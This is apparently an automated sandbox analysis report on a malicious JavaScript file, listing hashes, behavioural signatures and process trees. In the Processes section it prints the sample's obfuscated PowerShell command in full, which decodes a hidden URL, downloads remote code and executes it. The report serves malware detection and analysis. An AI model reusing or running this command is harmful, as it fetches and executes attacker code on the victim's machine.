Analysis
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max time kernel
93s -
max time network
136s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-12-2024 15:19
Static task
static1
Behavioral task
behavioral1
Sample
2a2535ac7f5a81a82f4506f95ce0bb122af037dce0c62dbd9d3d8068d0db764c.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
2a2535ac7f5a81a82f4506f95ce0bb122af037dce0c62dbd9d3d8068d0db764c.js
Resource
win10v2004-20241007-en
General
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Target
2a2535ac7f5a81a82f4506f95ce0bb122af037dce0c62dbd9d3d8068d0db764c.js
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Size
186KB
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MD5
f8cc29947420ead6b41047923c889282
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SHA1
54b5cd5dd0247d2bbd29edd6dc532f78ceb4741a
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SHA256
2a2535ac7f5a81a82f4506f95ce0bb122af037dce0c62dbd9d3d8068d0db764c
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SHA512
2200b68bfca73feeb17c086aa931040d7a879fc8f6c4fac431b2f6e6bc0665f72608b2a506dd12c1523970532d0094573231bfb767d392252159ba20982f0ea1
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SSDEEP
3072:nRvNtkiCga5CdZ1NtkiCBa5CdZ+a5CdZDNtkiCgNtkiCL:RlttdZXt4dZEdZZt3tw
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5012 3808 conhost.exe 83 -
Blocklisted process makes network request 1 IoCs
flow pid Process 7 4992 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4992 powershell.exe 4992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4992 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5012 wrote to memory of 4992 5012 conhost.exe 85 PID 5012 wrote to memory of 4992 5012 conhost.exe 85
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2a2535ac7f5a81a82f4506f95ce0bb122af037dce0c62dbd9d3d8068d0db764c.js1⤵PID:3932
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C:\Windows\system32\conhost.execonhost --headless powershell $gsbawcfrq='ur' ;new-alias printout c$($gsbawcfrq)l;$vgimkjbshudp=(1629,1640,1648,1632,1634,1629,1649,1648,1653,1586,1648,1582,1629,1577,1647,1642,1643,1578,1580,1577,1643,1635,1643,1594,1646,1592,1640,1636,1641,1647,1646,1581,1580);$pbzosmyclnqtvj=('bronx','get-cmdlet');$ilxnqjosmbgew=$vgimkjbshudp;foreach($vsgcwdpbhyzou in $ilxnqjosmbgew){$fmtlcnrauikx=$vsgcwdpbhyzou;$vdhztap=$vdhztap+[char]($fmtlcnrauikx-1531);$wlrkxtoimebsn=$vdhztap; $hvbdmtjqkleusn=$wlrkxtoimebsn};$pxsvadi[2]=$hvbdmtjqkleusn;$prqzjvntufh='rl';$mztenkcxihlorp=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hvbdmtjqkleusn)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5012 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $gsbawcfrq='ur' ;new-alias printout c$($gsbawcfrq)l;$vgimkjbshudp=(1629,1640,1648,1632,1634,1629,1649,1648,1653,1586,1648,1582,1629,1577,1647,1642,1643,1578,1580,1577,1643,1635,1643,1594,1646,1592,1640,1636,1641,1647,1646,1581,1580);$pbzosmyclnqtvj=('bronx','get-cmdlet');$ilxnqjosmbgew=$vgimkjbshudp;foreach($vsgcwdpbhyzou in $ilxnqjosmbgew){$fmtlcnrauikx=$vsgcwdpbhyzou;$vdhztap=$vdhztap+[char]($fmtlcnrauikx-1531);$wlrkxtoimebsn=$vdhztap; $hvbdmtjqkleusn=$wlrkxtoimebsn};$pxsvadi[2]=$hvbdmtjqkleusn;$prqzjvntufh='rl';$mztenkcxihlorp=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hvbdmtjqkleusn)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82